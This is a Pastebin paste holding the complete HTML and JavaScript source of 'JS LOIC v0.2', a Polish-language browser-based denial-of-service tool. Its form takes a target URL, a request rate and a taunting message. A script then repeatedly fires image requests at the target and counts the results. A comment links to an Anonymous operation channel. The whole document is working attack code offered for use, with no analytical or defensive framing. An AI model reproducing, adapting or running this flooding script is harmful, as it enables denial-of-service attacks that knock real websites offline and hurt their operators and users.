Advertisement
Guest User

Javascript LOIC

a guest
Jan 22nd, 2012
30,636
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 7.04 KB | None | 0 0
  1. <!-- Javascript LOIC - PL version by c0mb0br34k3r. Gr33tz: HackinQ . pl team - MarioVs, linc0ln.dll, Prick, j4ck & other people :> -->
  2. <!DOCTYPE HTML>
  3. <html>
  4. <head>
  5.     <title>JS LOIC v0.2</title>
  6.     <meta http-equiv="content-type" content="text/html; charset=windows-1250" />
  7.     <style type="text/css" >
  8.         body {
  9.                
  10.                 width:100%;
  11.                 margin:auto;
  12.                 background-color:#B7CC1E;
  13.                 color:#FFFFFF;
  14.                 font-family:Verdana, Geneva, sans-serif;
  15.         }
  16.         #p1{
  17.          width:240px;
  18.          height:100px;
  19.          position:absolute;
  20.          left:500px;
  21.         }
  22.         #img {
  23.                 width:490px;
  24.                 height:331px;
  25.                 position:absolute;
  26.         }
  27.        
  28.         #header {
  29.         width:900px;
  30.         margin:auto;  
  31.         }
  32.                
  33.         #wrapper {
  34.         position:absolute;
  35.         width:100%;      
  36.         height:100%;
  37.         background-color: #1E4964;    
  38.         margin:auto;
  39.                 }
  40.         #p2 {
  41.         width:240px;
  42.         height:100px;
  43.         position:absolute;
  44.         left:780px;    
  45.         }
  46.         #fireButton {
  47.         background-image:url(http://x9a3k.com/images/btnl.png);
  48.         }
  49.         </style>
  50. </head>
  51. <body>
  52.  
  53.  <div id="header">
  54. <h1><abbr title="JavaScript">JS</abbr> <abbr title="Low Orbit Ion Cannon">LOIC</abbr> v 0.2</h1>
  55.  
  56. <h2 style="font-size:15px;">UZUPEŁNIJ DANE, NACIŚNIJ PRZYCISK I CZEKAJ</h2>
  57.   </div>
  58.  
  59.  
  60.  
  61.  
  62.  
  63. <div id="wrapper">
  64.  
  65.  
  66. <div id="table" >
  67.  
  68.  
  69. <div  id="img">
  70.   <img alt="LOIC"
  71. src="http://x9a3k.com/images/loop.png" />
  72. </div>
  73.  
  74. <div id="p1">
  75.  
  76.      <fieldset style="width:100%; height:100%; border:none;">
  77.         <label>Krok 1. Wybierz cel ataku:</label><br><br>
  78.         <label>Adres: <br />
  79.        
  80.         <input id="targetURL" style="width:100%;" value="" /></label>
  81.        
  82.         <!--<small>For current target see: <a href="http://irc.lc/anonops/opmegaupload" style="color:#FFF;">#OpMegaupload</a></small>-->
  83.  
  84.     </fieldset>
  85. </div>
  86.  
  87.  
  88. <div id="p2" >
  89.      <fieldset style="width:100%; height:100%; border:none;">
  90.        <label>Krok 3. Gotów?</label>
  91.         <button id="fireButton" style="border:none; color:#1E4964; width:240px; height:70px;">JEDZIEMY Z TYM KOKSEM!</button>
  92.     </fieldset>
  93.  
  94. </div>
  95.  
  96.  
  97.  
  98. <div id="p3" style="width:240px; height:160px; position:absolute; left:500px; top:150px;">
  99.      <fieldset style="width:100%; height:100%; border:none;">
  100.         <label>Krok 2.</label><br><br>
  101.          Jeśli chcesz możesz wybrać szybkość i wiadomość.<br><br>
  102.          <label>Żądań na sekundę: <input id="rps" style="width:40px;" value="100" /></label><br />
  103.          <label>Dołącz wiadomość: <br /><input id="message" style="width:100%;" value="We Are Anonymous!" /></label>
  104.  
  105.     </fieldset>
  106. </div>
  107.  
  108.  
  109. <div id="p4" style="width:240px; height:160px;  position:absolute; left:780px; top:150px;">
  110.      <fieldset style="width:100%; height:100%; border:none;">
  111.          <label>Status ataku:</label>
  112.         <dl>
  113.             <dt>Żądań:</dt>
  114.  
  115.             <dd id="requestedCtr">0</dd>
  116.  
  117.             <dt style="opacity: 0.5">Wykonanych pomyślnie:</dt>
  118.  
  119.             <dd style="opacity: 0.5" id="succeededCtr">0</dd>
  120.             <dt style="opacity: 0.5">Nie wykonanych:</dt>
  121.             <dd style="opacity: 0.5" id="failedCtr">0</dd>
  122.  
  123.         </dl>
  124.  
  125.     </fieldset>
  126.  
  127. </div>
  128.  
  129.  
  130.  
  131. <div id="footer" style="width:900px; height:160px; font-size:14px; position:absolute; top:350px;">
  132.  
  133. </div>
  134.  
  135. </div>
  136.  
  137. </div>
  138.  
  139.     <script>
  140.         (function () {
  141.  
  142.             var fireInterval;
  143.             var isFiring = false;
  144.  
  145.             var requestedCtrNode = document.getElementById("requestedCtr"),
  146.                 succeededCtrNode = document.getElementById("succeededCtr"),
  147.                 failedCtrNode = document.getElementById("failedCtr"),
  148.                 targetURLNode = document.getElementById("targetURL"),
  149.                 fireButton = document.getElementById("fireButton"),
  150.                 messageNode = document.getElementById("message"),
  151.                 rpsNode = document.getElementById("rps"),
  152.                 timeoutNode = document.getElementById("timeout");
  153.  
  154.             var targetURL = targetURLNode.value;
  155.             targetURLNode.onchange = function () {
  156.                 targetURL = this.value;
  157.             };
  158.  
  159.             var requestsHT = {}; // requests hash table, may come in handy later
  160.  
  161.             var requestedCtr = 0,
  162.                 succeededCtr = 0,
  163.                 failedCtr = 0;
  164.  
  165.             var makeHttpRequest = function () {
  166.                                
  167.                                         if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests
  168.                                                 return;
  169.                                         };
  170.                                        
  171.                     var rID =Number(new Date());
  172.                     var img = new Image();
  173.                     img.onerror = function () { onFail(rID); };
  174.                     img.onabort = function () { onFail(rID); };
  175.                     img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
  176.                     img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
  177.                     requestsHT[rID] = img;
  178.                     onRequest(rID);
  179.                 };
  180.  
  181.             var onRequest = function (rID) {
  182.                     requestedCtr++;
  183.                     requestedCtrNode.innerHTML = requestedCtr;
  184.                 };
  185.  
  186.             var onComplete = function (rID) {
  187.                     delete requestsHT[rID];
  188.                 };
  189.  
  190.             var onFail = function (rID) {
  191.                    // failedCtr++;
  192.                     //failedCtrNode.innerHTML = failedCtr;
  193.                                        
  194.                                         succeededCtr++; //Seems like the url will always fail it it isn't an image
  195.                     succeededCtrNode.innerHTML = succeededCtr;
  196.  
  197.  
  198.                     delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
  199.                 };
  200.  
  201.             var onSuccess = function (rID) {
  202.                     succeededCtr++;
  203.                     succeededCtrNode.innerHTML = succeededCtr;
  204.                     delete requestsHT[rID];
  205.                 };
  206.  
  207.             fireButton.onclick = function () {
  208.                 if (isFiring) {
  209.                     clearInterval(fireInterval);
  210.  
  211.                     isFiring = false;
  212.                     this.innerHTML = "JEDZIEMY Z TYM KOKSEM!";
  213.                 } else {
  214.                     isFiring = true;
  215.                     this.innerHTML = "Zatrzymaj atak";
  216.  
  217.                     fireInterval = setInterval(makeHttpRequest, (2500 / parseInt(rpsNode.value) | 0));
  218.                 }
  219.             };
  220.  
  221.         })();
  222.     </script>
  223.  
  224. </body>
  225. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement